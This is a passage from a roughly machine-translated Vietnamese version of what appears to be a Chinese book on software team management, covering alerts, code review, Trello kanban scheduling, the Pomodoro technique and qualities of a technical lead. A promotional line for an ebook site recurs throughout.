Đạo là cái nào người sử dụng phát động báo cảnh sát, có thể tại báo cảnh sát dấu hiệu chỗ đọc đến người sử dụng tin tức đồng thời viết lên báo cảnh sát trong tin tức. Tỉ như, có thể đọc đến nên dùng nhà người sử dụng tên, số điện thoại di động chờ tin tức hữu dụng, chúng ta chữa trị bug sau còn có thể liên lạc với hắn để Hắn trở về tiếp tục sử dụng sản phẩm.

Bây giờ ngoại trừ có thể thông qua bưu kiện, tin nhắn chờ tiếp thu báo cảnh sát tin tức bên ngoài, còn có tốt hơn công cụ —— slack.slack vừa có PC hỗ trợ khách hàng cũng có điện thoại hỗ trợ khách hàng, gửi đi báo cảnh sát vừa có thể tại trên máy tính thu đến, cũng có thể trên điện thoại di động thu đến. Hướng về slack bên trên gửi đi báo cảnh sát tin tức chỉ cần điều động slack tiếp lời liền có thể, tường gặp slack official website: http://slack.com. Nhưng slack là nước ngoài phần mềm, quốc nội sử dụng tương đối chậm, cho nên có thể sử dụng

slack giống sản phẩm —— Phân vân (https://lesschat.com).

4.

CodeReview

CodeReview cũng là giảm bớt chương trình bug một cái thủ đoạn, CodeReview là chỉ đoàn đội thành viên ở giữa lẫn nhau xét duyệt dấu hiệu, xác nhận chương trình là bởi vì sơ ý đưa đến cấp thấp vấn đề vẫn là dấu hiệu tính năng vấn đề. Có chút vấn đề là nhân công khảo thí không phát phát hiện được, tỉ như có người ở for tuần hoàn bên trong thẩm tra kho số liệu, đây là tính năng cực thấp cách viết, chỉ có tân thủ mới làm như vậy. Dạng này sẽ dẫn đến mỗi lần phỏng vấn chương trình đều có thể thẩm tra kho số liệu mấy chục lần, kỳ thực sát nhập thành một đầu dùng in tuần tra SQL câu nói chỉ cần thẩm tra một lần là được rồi. Mà loại vấn đề này vẻn vẹn từ sản phẩm công năng đến xem là nhìn không ra vấn đề, nhất thiết phải nhìn dấu hiệu mới có thể phát hiện.

CodeReview có thể để cho đoàn đội mỗi cái người đều hiểu toàn bộ chương trình, tránh xuất hiện "Trình tự này không phải do ta viết, ta không đổi được " Tình huống.

Có người rất khó ổn định lại tâm thần nhìn người khác dấu hiệu, vậy chứng minh hắn vẫn còn thực hiện giai đoạn không tiến vào tham khảo giai đoạn, có thể dùng quyển sách phía trước nói phân tích dấu hiệu phương pháp nhìn người khác dấu hiệu.

Nếu như chúng ta khai phát phía trước làm xong phân tích cùng thiết kế XMind, như vậy nhìn dấu hiệu phía trước xem trước một chút XMind phía trên liệt chương trình xử lý lôgic, sau đó lại đi nhìn dấu hiệu liền tương đối dễ dàng.

Mỗi lần CodeReview nhìn mới tăng thêm hoặc sửa chữa dấu hiệu liền có thể, trước đó thấy qua dấu hiệu không cần lại nhìn, không cần mỗi lần đều từ đầu xem trọng. Có thể dùng phiên bản khống chế công cụ so sánh công năng tới làm CodeReview, SVN dùng mệnh lệnh svn diff, GIT dùng mệnh lệnh git difftool, cụ thể SVN hoặc GIT cách dùng đại gia có thể ở trên mạng lùng tìm rất nhiều tư liệu.

Trở lên bốn loại phương pháp có thể hiệu quả cam đoan bộ môn chất lượng. Chúng ta phải viết hết đơn nguyên khảo thí, nhưng rất khó làm đến đơn nguyên khảo thí bao trùm tỷ lệ 100%; Muốn bảo đảm công năng chính làm đơn nguyên khảo thí; Có chút công năng không cách nào dùng tự động hoá chương trình trắc

Càng nhiều miễn phí sách điện tử thỉnh lùng tìm 「 Tuệ nhãn nhìn 」www.huiyankan.com

Thử liền nhân công khảo thí; Làm tốt CodeReview có thể phát hiện nhân công khảo thí không phát phát hiện được vấn đề; Còn có làm tốt báo cảnh sát hệ thống, dạng này dù cho người sử dụng kích phát chúng ta không có khảo thí đến bug, chúng ta cũng có thể kịp thời biết đồng thời chữa trị.

Mặt khác còn nghĩ nhắc nhở đại gia, tốt đoàn đội cần thời gian, không thể cưỡng cầu đoàn đội lập tức liền có thể đem những thứ này quá trình cùng công cụ sử dụng tốt.

Khai phát sắp xếp kỳ

Phía trước chúng ta nói hoàn chỉnh khai phát quá trình chắc có bốn bước: Phân tích → Thiết kế → Mã hóa → Khảo thí.

Phân tích cùng thiết kế có thể dùng XMind hoàn thành.XMind cuối cùng có thể thể hiện chương trình viết như thế nào, có cái nào chương trình module. Chúng ta còn có thể ở đây trên cơ sở tính ra thời gian, sau đó đem nhiệm vụ liệt đến trello khán bản tiến bộ đi sắp xếp kỳ quản lý, tại khai phát lúc có thể dùng cà chua việc làm pháp để chính mình tập trung lực chú ý khai phát. Hạ diện cụ thể nói rõ một chút.

Tính ra thời gian

Tính ra thời gian thời điểm cần toàn thể nhân viên developer cùng một chỗ thảo luận, căn cứ vào XMind có thể nhằm vào mỗi cái module tính ra thời gian và phân công, như đồ 1-47 chỉ ra, chúng ta tại mỗi cái module phía trên viết lên ước định thời gian và phân phối cho chỉ định nhân viên.

Đồ 1-47 Tại XMind bên trên tính ra thời gian

Thông qua tính ra thời gian có thể phát hiện vấn đề. Tỉ như, một cái công năng module, Trương Tam nói cần 1 giờ, Lý Tứ cho rằng cần 5 giờ, thời gian chênh lệch quá lớn cần đại gia bày ra thảo luận từ đó phát hiện vấn đề. Có thể Lý Tứ cho rằng muốn chính mình hoa đại lượng thời gian viết dấu hiệu đã có phe thứ ba khai nguyên module , mà cái này khai nguyên module Lý Tứ phía trước không biết, cho nên tính ra thời gian dài. Thông qua tính ra thời gian phát hiện vấn đề, từ đó tránh chương trình khai phát hảo sau mới phát hiện vấn đề.

trello khán bản

Khán bản là nhanh nhẹn đang khai phá công cụ, chúng ta đem nhiệm vụ tính ra hảo thời gian sau liệt đến khán bản bên trên. Đại gia có thể gặp qua trong cuộc sống hiện thực khán bản, như đồ 1-48 chỉ ra.

Càng nhiều miễn phí sách điện tử thỉnh lùng tìm 「 Tuệ nhãn nhìn 」www.huiyankan.com

Đồ 1-48 Trong cuộc sống hiện thực khán bản

Trong thực tế khán bản, là chúng ta đem mỗi cái nhiệm vụ viết lên giấy ghi chú bên trên, tiếp đó áp vào bạch bản bên trên. Chúng ta nếu như muốn đối một tháng nhiệm vụ tiến hành mỗi ngày sắp xếp kỳ, kế hoạch chia làm 30 thiên, bạch bản bên trên liền muốn vạch ra 30 liệt, có thể không có dài như vậy bạch bản.trello là tại tuyến bản khán bản ( Gặp đồ 1-49), không nhận không gian hạn chế, nghĩ xây bao nhiêu liệt cũng có thể.trello official website: http://trello.com.

Đồ 1-49 trello khán bản

trello sử dụng mười phần linh hoạt, có thể thiết lập nhiều cái liệt (list), mỗi hàng tiêu đề đều có thể tự định nghĩa. Bởi vì chúng ta muốn làm sắp xếp kỳ, cho nên liệt tiêu đề lấy thời gian mệnh danh. Xuất hiện bên trên có thể sáng tạo tấm thẻ (card), tấm thẻ thì tương đương với là trong cuộc sống hiện thực giấy ghi chú, một cái tấm thẻ biểu thị một cái nhiệm vụ.trello thẻ so trong cuộc sống hiện thực giấy ghi chú công năng càng mạnh mẽ hơn, có thể phân phối cho chỉ định nhân viên, có thể thượng truyền phụ kiện, có thể xây kiểm tra rõ ràng Đơn, còn có thể dùng màu sắc khác nhau nhãn hiệu tới tiêu ký. Mỗi cái tấm thẻ cũng có thể kéo lấy, ví dụ như hôm nay không có hoàn thành

Nhiệm vụ, có thể kéo lấy đến ngày mai.

Như đồ 1-49 chỉ ra, chúng ta đem phía trước tại XMind đánh giá hảo thời gian nhiệm vụ liệt đến trello khán bản bên trên. Nhiệm vụ rất nhiều liền nhiều sắp xếp mấy ngày. Mỗi ngày mỗi người sắp xếp 6 giờ nhiệm vụ, không cần xếp đầy 8 giờ, lưu 2 giờ co dãn thời gian. Bởi vì tại thực tế đang khai phá có thể sẽ gặp phải vấn đề phải giải quyết mà chậm trễ thời gian, còn có đại gia thường thường tại tính ra thời gian thời điểm không để ý đến khảo nghiệm thời gian, để dành 2 giờ có thể để đại gia làm tốt khảo thí, hoàn thiện công năng.

Phía dưới nói mấy cái trello sử dụng tiểu kỹ xảo.

1.

Tiêu ký nhiệm vụ trạng thái

Có thể dùng màu sắc khác nhau nhãn hiệu tiêu ký nhiệm vụ trạng thái, tỉ như chúng ta quy định màu vàng biểu thị đang tiến hành nhiệm vụ, lục sắc biểu thị đã hoàn thành nhiệm vụ. Chúng ta bắt đầu khai phát một cái nhiệm vụ lúc liền đem nó tiêu ký thành màu vàng, khai phát xong lại đem nó tiêu ký thành lục sắc. Dạng này trong đoàn đội tất cả mọi người đều biết nhiệm vụ trạng thái. Tỉ như, phía trước nhân viên có thể trực tiếp xem tấm liền biết cái nào tiếp lời làm xong, có thể điều động cái nào tiếp lời, giảm bớt câu thông thời gian.

2.

Ghi chép bắt đầu thời gian cùng kết thúc thời gian

Một cái nhiệm vụ bắt đầu khai phát lúc, tại nhiệm vụ này trên thẻ ghi chép lại bắt đầu thời gian, như đồ 1-49 chỗ Bày ra, sáng tạo kho số liệu là 10 ấn mở bắt đầu . Nhiệm vụ khai phát sau khi hoàn thành, lại ở trên thẻ bài ghi chép kết thúc thời gian, như đồ 1-49 bên trong thành viên danh sách tiếp lời khai phát tại 10 điểm 20 phân kết thúc. Tiêu ký bắt đầu thời gian cùng kết thúc thời gian có trợ giúp kiểm tra Chính mình tính toán thời gian là không chính xác, bên trên đồ có thể thấy được thành viên danh sách tiếp lời khai phát trì hoãn 20 phút, đối với trì hoãn tương đối nhiều nhiệm vụ, có thể tổng kết nguyên nhân làm cho lần sau tính ra thời gian càng ngày càng chính xác.

Ghi chép bắt đầu thời gian cùng kết thúc thời gian cũng có trợ giúp chủ quản kỹ thuật phát hiện vấn đề, nhân viên developer rất dễ dàng tại giải quyết vấn đề lúc lãng phí quá nhiều thời gian. Tỉ như, một cái nhiệm vụ kế hoạch 1 giờ hoàn thành, nhưng mở mang 3 giờ vẫn không có Có hoàn thành, nhân viên developer một mực tại vùi đầu giải quyết gặp phải vấn đề kỹ thuật mà không để ý đến thời gian. Lúc này chủ quản kỹ thuật thông qua xem xét trello khán bản có thể phát hiện nhiệm vụ này từ đầu đến giờ qua 3 giờ còn không có tiêu ký nhiệm vụ hoàn thành, liền biết nhân viên developer gặp vấn đề, có thể tham dự trợ giúp giải quyết vấn đề, từ đó có thể bảo đảm bộ môn chỉnh thể tiến độ.

3.

Thiết lập kiểm tra danh sách lại thay đổi nhỏ nhiệm vụ

trello khán bản mỗi cái tấm thẻ ấn mở đều có một cái tường tình trang bắn ra tầng, tại bắn ra tầng bên trên có thể thiết lập kiểm tra danh sách (checklist, gặp đồ 1-50). Làm một cái nhiệm vụ tương đối lớn lúc, nhiệm vụ phía dưới sẽ có hảo mấy chuyện

Càng nhiều miễn phí sách điện tử thỉnh lùng tìm 「 Tuệ nhãn nhìn 」www.huiyankan.com

Muốn làm, vì để tránh cho chính mình quên những chuyện này, có thể thiết lập kiểm tra danh sách, đem những chuyện này đều ghi chép xuống.

Đồ 1-50 Thiết lập kiểm tra danh sách

Trong danh sách một đầu nhiệm vụ hoàn thành, có thể tại nên nhiệm vụ phía trước đánh câu, biểu thị đã hoàn thành.

4.

Không đề nghị tăng ca

trello khán bản phương thức làm việc có thể để cho đoàn đội hiệu suất làm việc đề cao thật lớn, có khả năng một ngày liền hoàn thành khác đoàn đội mấy ngày làm sự tình. Loại này sắp xếp kỳ phương pháp việc làm cường độ lớn, mỗi ngày làm việc không thể phân tâm, đào ngũ nửa giờ liền có thể dẫn đến nhiệm vụ không thể đúng hạn hoàn thành. Cho nên, tại loại công việc này phương thức phía dưới tận lực đừng cho đoàn đội tăng ca, bằng không thì đại gia sẽ cảm thấy mệt nhọc. Mặt khác, kết hợp cà chua việc làm pháp năng giảm bớt mệt nhọc, sẽ không để cho đại gia cảm thấy rất mệt mỏi, cà chua việc làm pháp sau văn hội giảng kỹ.

Có người có thể sẽ cho rằng, trello khán bản chờ công cụ là chủ quản để dùng , hoàn toàn vẽ vời thêm chuyện, không có tác dụng gì. Kỳ thực sử dụng tốt trello khán bản không chỉ đối đoàn đội hữu dụng, đối với cá nhân cũng có có ích.

Đại gia suy nghĩ một chút bình thường chính mình là làm như thế nào chuyện ? Có hay không gặp phải phía dưới những tình huống này.

Thường xuyên quên chuyện, đồng sự nói muốn làm một việc, nhưng trong tay đang tại làm sự tình khác, kết quả chuyện trong tay hoàn thành lại quên làm đồng sự nói chuyện. Thường xuyên phàn nàn "Ngươi có thể chờ hay không ta đem chuyện này làm xong lại nói với ta sự tình khác " .

Thường xuyên dễ dàng phân tâm, lực chú ý tập trung không được, dấu hiệu viết viết vừa không chú ý lại đi xoát nhỏ nhoi hoặc nhìn vòng bằng hữu . Một hồi liền không kìm lòng được cầm điện thoại di động lên, rất khó chuyên tâm làm một việc. Mỗi ngày làm việc thời gian 8 cái tiểu Lúc, nhưng chân chính có công hiệu thời gian làm việc có thể chỉ có 2~3 giờ, mỗi ngày đều cảm giác là tại kiếm sống, nhân sinh liền cái này Dạng bị sống uổng .

Thời kỳ viễn cổ mọi người đối với thời gian không có khái niệm, lúc kia phải mấy ngày mới làm một chuyện. Mọi người quen biết thời gian sau, một ngày có thể làm tốt mấy chuyện. Điện ảnh 《 Siêu thể 》 nói: "Thời gian là duy nhất đơn vị đo lường, không có thời gian cái gì cũng không tồn tại, sinh mệnh giá trị ở chỗ tranh thủ thời gian."

trello khán bản có thể để cho đại gia tốt hơn quản lý thời gian, quản lý sự vụ. Chúng ta sẽ lại không thường xuyên quên sự tình, nhớ tới sự tình gì muốn làm, liền hướng trello bên trên tăng thêm một đầu nhiệm vụ.trello có thể để cho chúng ta tập trung lực chú ý, bởi vì mỗi đầu nhiệm vụ chúng ta đều tính ra thời gian, ghi chép bắt đầu thời gian, chúng ta chỉ có tập trung lực chú ý, không phân tâm, mới có thể tại dự đoán thời gian bên trong hoàn thành nhiệm vụ.

Mọi chuyện cần thiết đều có thể dùng trello quản lý, đề nghị đại gia không cần chỉ đem trello xem như việc làm công cụ. trello cách dùng mười phần linh hoạt, đại gia có thể tự mình nghĩ ra rất nhiều loại cách dùng. Ta chia sẻ một chút chính ta là

Như thế nào dùng trello khán bản quản lý việc làm bên ngoài chuyện, như đồ 1-51 chỉ ra.

Đồ 1-51 Dùng trello khán bản quản lý việc làm bên ngoài sự tình

Ta thành lập một cái "Cá nhân khán bản " , đồng thời tại khán bản bên trong sáng lập bốn nhóm, theo thứ tự là: Chuẩn bị làm chuyện, đang tại làm chuyện, hoàn thành chuyện cùng bút ký.

Dự định việc cần phải làm nhưng bây giờ còn chưa có thời gian làm, trước hết đem nó nhớ đến "Chuẩn bị làm chuyện " Bên trong; Bắt đầu làm sau đó liền đem nó kéo lấy đến "Đang tại làm chuyện " Bên trong; Làm xong lại đem nó kéo tới "Hoàn thành chuyện " . Đang làm chuyện thời điểm học được một vài thứ, nhưng lúc ấy không có thời gian tới viết thành blog, trước tiên có thể tại "Bút ký " Cái này cột nhớ một câu, chờ sau này có thời gian tái chỉnh lý thành blog văn chương.

Càng nhiều miễn phí sách điện tử thỉnh lùng tìm 「 Tuệ nhãn nhìn 」www.huiyankan.com

Chúng ta có thể đem chuyện học tập, sự tình trong nhà đều dùng loại phương thức này quản lý. Cà chua việc làm pháp

Có đôi khi chúng ta hiệu suất làm việc không cao là bởi vì làm việc quá trình bên trong bị đánh gãy rất nhiều lần, mỗi đánh gãy một lần trở lại một lần nữa làm cần nghĩ phía trước làm đến chỗ nào rồi? Thật vất vả nhớ tới có thể lại sẽ bị đánh gãy. Cà chua việc làm pháp năng giảm bớt nửa đường bị đánh gãy số lần, đề cao hiệu suất làm việc.

Cà chua việc làm pháp là một cái thời gian quản lý phương pháp, sở dĩ gọi cà chua việc làm pháp, là bởi vì loại phương pháp này người sáng lập sử dụng một cái cà chua hình dạng đồng hồ báo thức.

Cà chua việc làm pháp quy tắc rất đơn giản, làm việc thời điểm mỗi 25 phút nghỉ ngơi 5 phút. Một cái cà chua thời gian từ 25 phút việc làm +5 phút nghỉ ngơi tạo thành. Công việc hàng ngày hiệu suất có thể thông qua tính toán "Cà chua " Đếm đánh giá.

Tại mỗi 25 trong phút, chỉ có thể tập trung lực chú ý làm một việc, không cần chịu sự tình khác quấy rầy. Nếu tại thứ 15 phút có đồng sự tới tìm ngươi làm sự tình khác, nếu như chuyện kia không phải rất khẩn cấp mà nói, ngươi có thể lễ phép cáo Tố hắn, chờ 10 phút, trong tay đang tại làm việc. Nếu như không có kiên trì 25 phút làm một việc, như vậy cái này

Cái "Cà chua " Liền hết hiệu lực, không thể nhớ làm nửa cái "Cà chua " , 1⁄4 "Cà chua " , nhỏ nhất đơn vị chính là một cái "Cà chua " ——25 phút.

Cà chua việc làm pháp còn có thể phòng ngừa mỏi mệt. Người lực chú ý trời sinh chính là phân tán, lực chú ý tập trung nửa giờ trở lên liền bắt đầu mỏi mệt, rất khó lại tập trung, mọi người sẽ bất tri bất giác phân tán lực chú ý, có thể sẽ phát hiện mình là một bên đang đọc sách một bên đang suy nghĩ sự tình khác. Cà chua việc làm pháp 25 phút thiết kế vô cùng xảo diệu, tại người lập tức bắt đầu mỏi mệt không thể tập trung lực chú ý lúc để cho người ta buông lỏng nghỉ ngơi 5 phút, tại cái này 5 trong phút không cần muốn dùng trí nhớ chuyện Tình, có thể xem bên cửa sổ cảnh sắc hoặc đi vòng một chút.5 phút cũng không dài, nghỉ ngơi sau trở lại đón lấy làm việc không cần hồi tưởng phía trước làm đến chỗ nào rồi.

Xã hội hiện đại phần mềm công cụ đông đảo, cà chua việc làm pháp tính giờ đã không cần loại kia lên dây cót cà chua đồng hồ báo thức . Tại PC cùng trên điện thoại di động đều có thể tìm được rất nhiều cà chua việc làm pháp công cụ.

Kết hợp sử dụng trello khán bản cùng cà chua việc làm pháp năng để công việc hàng ngày đều rất phong phú, hoàn thành rất nhiều chuyện lại không cảm thấy mệt mỏi.

Đoàn đội tinh thần

Muốn quản lý hảo kỹ thuật đoàn đội chỉ dựa vào phía trước nói khai phát quá trình cùng phương pháp làm việc còn còn thiếu rất nhiều. Ta cho rằng quản lý tốt đoàn đội phải làm cho tốt 3 cái phương diện: Quy định, vật chất cùng tinh thần. Phía trước nói khai phát quá trình chủ yếu nhằm vào quy định phương

Mặt, tốt đẹp quy định có thể để cho đoàn đội cao hiệu hợp tác. Vật chất phương diện chính là muốn đa số đoàn đội thành viên tranh thủ tiền thưởng, tiền lương chờ đãi ngộ, để trả giá nhiều thành viên có thể được đến vốn có hồi báo, đồng thời chú ý làm đến công bình công chính. Một cái kỹ thuật đoàn đội chỉ có quy định cùng vật chất không có tinh thần cũng không được.

Truyền thống nghề nghiệp người thường thường quản lý không được kỹ thuật đoàn đội, bọn hắn muốn thông qua tăng ca gia nhập tới tăng tốc tiến độ, lấy truyền thống thể mệnh lệnh phương thức quản lý, rất khó có một cái dụng tâm công tác hoàn cảnh. Quy định + Vật chất chỉ có thể quản lý tốt trong nhà xưởng lưu Ngấn nước bên trên công nhân, rất khó quản lý tốt kỹ thuật đoàn đội, chúng ta muốn vì kỹ thuật đoàn đội tạo một cái có thể dụng tâm công tác không khí, phải trả phải có tinh thần, dạng này mới có thể là một chi có sức chiến đấu, có cảm xúc mạnh mẽ kỹ thuật đoàn đội.

Xem như chủ quản kỹ thuật, hành vi của mình cùng nhân cách có thể ảnh hưởng toàn bộ đoàn đội, ta cho rằng một cái chủ quản kỹ thuật hẳn là có phía dưới tố chất.

Tán thành

Đoàn đội thành viên làm được địa phương tốt, ngươi nhất định phải cho dư tán dương, cho tán thành. Nếu như ngươi không hăng hái hưởng ứng đồng sự cố gắng, chậm rãi đồng sự liền tiêu hao hết tính tích cực. Xem như một cái lập trình viên, cảm giác thành tựu là một cái rất lớn động lực. Bọn hắn có thể giải quyết người khác không giải quyết được vấn đề, có thể viết ra rất huyễn chương trình, nhưng mà nếu như làm xong chưa người tán thành thường thường sẽ thất lạc, tính tích cực sẽ bị đả kích.

Có chút công ty, lão bản không hiểu kỹ thuật, sản phẩm làm tốt lúc sẽ không chú ý lập trình viên, sẽ không cảm thấy là lập trình viên công lao, nhiều nhất khoa khoa sản phẩm quản lý; Nhưng sản phẩm xảy ra vấn đề có bug lúc liền mắng chửi lập trình viên, cho rằng cũng là lập trình viên Vấn đề. Nếu như lão bản cho rằng làm tốt đều là cần phải , không làm tốt cũng là lập trình viên vấn đề, như vậy dạng này xí nghiệp thì sẽ không có một cái tốt kỹ thuật đoàn thể.

Chủ quản kỹ thuật còn ít nói hơn "Không " , nhiều lời "Hảo " . Không cần đồng sự mỗi xách một cái phương án phản ứng đầu tiên đều

Nói "Không được " , phản ứng đầu tiên lúc nào cũng tìm phương án vấn đề, muốn trước nhìn thấy đồng sự chỗ xách phương án có thể đi chỗ, dù cho phương án có vấn đề cũng muốn xem trước một chút vấn đề có thể hay không giải quyết. Dù cho đồng sự nhắc phương án thật sự có vấn đề rất lớn, nhất thiết phải nói "Không được " , cũng muốn đầy đủ chứng minh lý do, để đồng sự tin phục.

Nghĩ phủ định đồng sự phương án thời điểm, không cần nói thẳng "Không đối với " , nói cho đồng sự có thể có một loại khác phương

Án. Tỉ như, đồng sự hướng ngươi đưa ra A phương án, ngươi cảm thấy hẳn là dùng B phương án, nếu như ngươi nói trước đi đối phương A phương án không Đối với, đối phương liền sẽ có mâu thuẫn tâm lý, vẫn muốn chứng minh A phương án là đúng, ngươi lại nói B phương án lúc hắn không chắc chắn có thể nghe

Càng nhiều miễn phí sách điện tử thỉnh lùng tìm 「 Tuệ nhãn nhìn 」www.huiyankan.com

Đi vào. Chúng ta trước tiên không cần nói "Không đối với " , mà là trước tiên nói cho đối phương biết còn có thể có B phương án, cái này lúc nên ngươi chưa hề nói A phương án không đối với, đối phương có thể nghe vào B phương án, sau khi nói xong lại so sánh A phương án cùng B phương án khác nhau, lại nói có thể B phương Án càng tốt hơn một chút.

Trông thấy làm được chỗ không đúng đồng thời cũng phải nhìn gặp làm được địa phương tốt. Tỉ như, chúng ta phát hiện đồng sự dấu hiệu chú thích viết rất ít, có thể nói như vậy: "Lần này đơn nguyên khảo thí viết không tệ, lần sau chú ý đem chú thích viết xong thì tốt hơn." Để cho người ta cảm thấy không phải toàn bộ đều làm được không tốt, chỉ là một điểm không tốt đã mà, sau đó mới có động lực đi cải tiến.

Chủ quản đối với đồng sự tán thành là đồng sự nhóm làm việc động lực, xin đừng nên tiếc rẻ chính mình tán thành. Nhưng mà làm một chủ quản kỹ thuật, bản thân liền là lập trình viên xuất thân, khả năng cách cũng tương đối hướng nội, rất khó nói ra ca ngợi người khác

Lời nói, thậm chí tại thuộc hạ của mình nhận được người khác khen ngợi thời điểm chính mình còn có thể ghen ghét. Người đều sẽ nghĩ ra được người khác tán thành, trông thấy người khác nhận được tán thành sẽ ghen ghét là bình thường. Xem như chủ quản kỹ thuật, nếu như nội tâm của mình đều không có bắt được thỏa mãn lúc, không cách nào làm đến có thể hướng ra phía ngoài thu phát tán thành cho người khác. Lúc này chúng ta cần điều chỉnh một chút quan niệm, điều chỉnh một chút nhân sinh thái độ, để hành vi của mình không còn là tìm lấy mà là thu phát, ở phía sau "Nhân sinh thiên " Bên trong hi vọng có thể cho đại gia một chút gợi ý.

Ngoại trừ tán thành, nên phê bình thời điểm hay là muốn phê bình. Nếu như đoàn đội thành viên vi phạm đoàn đội quy phạm hoặc xuất hiện nghiêm trọng sai lầm, tỉ như lượng biến đổi không có an toàn loại bỏ, xuất hiện một lần liền nói một lần, thẳng đến đổi làm tốt chỉ. Nếu như nói hai ba lần còn không nghe, có chủ quản kỹ thuật liền mặc kệ, bọn hắn không muốn ép buộc người làm việc, sợ đắc tội người. Nhưng một chút nguyên tắc tính chất vấn đề nếu như mình không kiên trì, đoàn đội thành viên sẽ rất khó tuân thủ.

Lạc quan

Đối mặt nửa chén thủy, chủ quản kỹ thuật muốn nói "Thật hảo, còn có nửa chén thủy " , không cần nói "Hỏng bét, như thế nào chỉ có nửa chén nước " . Chủ quản kỹ thuật muốn đem lạc quan truyền lại cho đoàn đội, để đoàn đội thành viên cảm thấy "Có thể thực hiện " Mà không Là "Không thể thực hiện " .

Tỉ như, gặp phải hạng mục kỳ hạn công trình rất đuổi, có thể không cách nào tại thời gian quy định hoàn thành, đoàn đội các thành viên đều không có tự tin, mà lúc này đây nếu như chủ quản kỹ thuật cũng không có tự tin, như vậy thì chắc chắn không thể tại thời gian quy định hoàn thành.

Lập trình viên phần lớn hướng nội, dễ dàng khuyết thiếu tự tin. Chỉ cần có hy vọng, liền muốn lạc quan, phải có tự tin, chủ quản kỹ thuật muốn cấp cho đại gia tự tin.

Quan tâm

Xem như chủ quản kỹ thuật hẳn là nhiều quan tâm đồng sự, hiểu rõ mỗi người nhu cầu.

Chủ quản kỹ thuật không cần chỉ muốn công ty lợi ích, cần cân nhắc trong đoàn đội mỗi cái thành viên lợi ích, biết mỗi người bọn họ hi vọng, mục tiêu, nghĩ có phương diện nào đề thăng, muốn để bọn hắn đang vì công ty sáng tạo giá trị lúc cũng có thể thực hiện cá nhân giá trị.

Chủ quản phải biết mỗi người khó khăn, trợ giúp bọn hắn giải quyết khó khăn, lý giải bọn hắn khó xử.

Nhưng mà, chủ quản làm thế nào biết đại gia lý tưởng cùng khó khăn đâu? Các đồng nghiệp sẽ đem ý tưởng chân thật cùng chủ quản nói

Sao? Chủ quản kỹ thuật không chỉ có nếu có thể cùng các đồng nghiệp việc làm cùng một chỗ, còn muốn có thể cùng đại gia chơi cùng một chỗ. Đại gia nguyện ý cùng có thân hòa lực chủ quản tâm sự, không muốn cùng cao cao tại thượng chủ quản nói thật ra.

Mỗi tuần tìm chút thời giờ tìm các đồng nghiệp một đối một câu thông là một loại rất tốt phương thức. Không cần tuyển văn phòng loại này nghiêm túc hoàn cảnh tới nói chuyện phiếm, đến bên ngoài công ty tìm một cái nhẹ nhõm hoàn cảnh. Không cần mới mở miệng liền nói chuyện công việc, trước tiên tâm sự việc nhà, ngay từ đầu hẳn là vấn đối phương loại kia hoàn toàn không cần suy xét liền có thể trả lời vấn đề. Tỷ như "Giữa trưa ăn cái gì?" , "Dựng cái lớp nào xe tới công ty " , "Tối hôm qua khi về nhà có hay không gặp phải trời mưa?" . Mục đích làm như vậy là làm cho đối phương mở miệng nói chuyện, đang tán gẫu quá trình bên trong tạo có lợi cho tâm sự bầu không khí, tiếp lấy tiến thêm một bước xâm nhập hỏi thăm. Nếu như có thể trước tiên hâm nóng trận đấu cắt nữa vào chính đề mà nói, đối phương hẳn là liền sẽ nói cho ngươi biết phiền não của hắn, bất mãn cùng nghi vấn. Làm đối phương lẩm bẩm thời điểm nhất định muốn nghe nhiều đối phương nói, muốn tỏ vẻ ra là lý giải cùng tán đồng. So

Như, đồng sự phàn nàn "Sản phẩm quản lý lại thay đổi sản xuất phẩm nhu cầu " , mà ngươi cũng biết đây là nhất thiết phải đổi nhu cầu, lúc này không cần phủ nhận đối phương phàn nàn không đối với, trước tiên nói "Ân, là, đích xác có vấn đề như vậy " , dẫn đạo đối phương đem oán trách lời nói đều nói xong, sau đó lại nói cho hắn biết tại sao muốn thay đổi sản xuất phẩm nhu cầu, tranh thủ hắn lý giải. Có đôi khi đối phương phiền não chỉ là muốn tìm một cái cửa ra phát tiết ra ngoài, cho dù hắn nói phiền não ngươi không thể giải quyết, hắn nói ra liền sẽ cảm giác tốt hơn nhiều.

Thường xuyên cùng đồng sự tâm sự nói chuyện phiếm, còn có thể tạo thành "Từ đuôi đến đầu " Quyết sách: Một cái tốt phương án không phải chủ quản nhắc, mà là phía dưới đồng sự nhắc; Một vấn đề không phải chủ quản phát hiện , mà là phía dưới đồng sự phát hiện .

Cùng ta hướng

Xem như chủ quản kỹ thuật, nếu có thể "Cùng ta hướng " , phải làm cho tốt dẫn đầu điển hình, không thể để các đồng nghiệp khổ cực mà làm việc, chính mình cũng rất rảnh rỗi.

Chủ quản kỹ thuật muốn cho đoàn đội các thành viên lòng tin, chỉ trên miệng còn chưa đủ. Tỉ như, hạng mục kỳ hạn công trình rất đuổi lúc, ngươi chỉ là miệng lạc quan nói: "Không có vấn đề, chúng ta chắc chắn có thể hoàn thành." Nhưng nếu như mình không hành động thực tế,

Càng nhiều miễn phí sách điện tử thỉnh lùng tìm 「 Tuệ nhãn nhìn 」www.huiyankan.com

Dẫn đầu làm việc cũng rất khó lôi kéo đại gia.

Dẫn đầu hành động cũng là dạy người phương pháp tốt nhất. Ta đã thấy có đồng sự mỗi lần gặp phải bug đều phải tốn thời gian rất lâu giải Quyết vấn đề, mỗi lần gặp phải bug phản ứng đầu tiên là cho là mình không giải quyết được, không biết nên làm sao bây giờ. Ta nói với hắn Qua nhiều lần phương pháp giải quyết vấn đề, cũng là quyển sách phía trước nói qua phương pháp: Trước tiên tìm dấu hiệu sai lầm tin tức, dùng phương pháp bài trừ thu nhỏ bug phạm vi chờ. Nhưng hắn chính là không thể đem những phương pháp này ứng dụng đứng lên, lần sau gặp phải vấn đề vẫn còn không biết rõ nên Giải quyết như thế nào. Ta ý thức được chỉ nói vô dụng, cần dùng hành động nói cho hắn biết như thế nào giải quyết vấn đề. Tiếp đó tại hắn lại lúc gặp phải vấn đề, ta tự mình động thủ cho hắn giải quyết vấn đề, để hắn ở bên cạnh nhìn, tại ta chưa quen thuộc hắn viết dấu hiệu tình huống phía dưới vài phút đã tìm được bug nguyên nhân. Từ nay về sau, hắn cũng có thể chính mình giải quyết vấn đề.

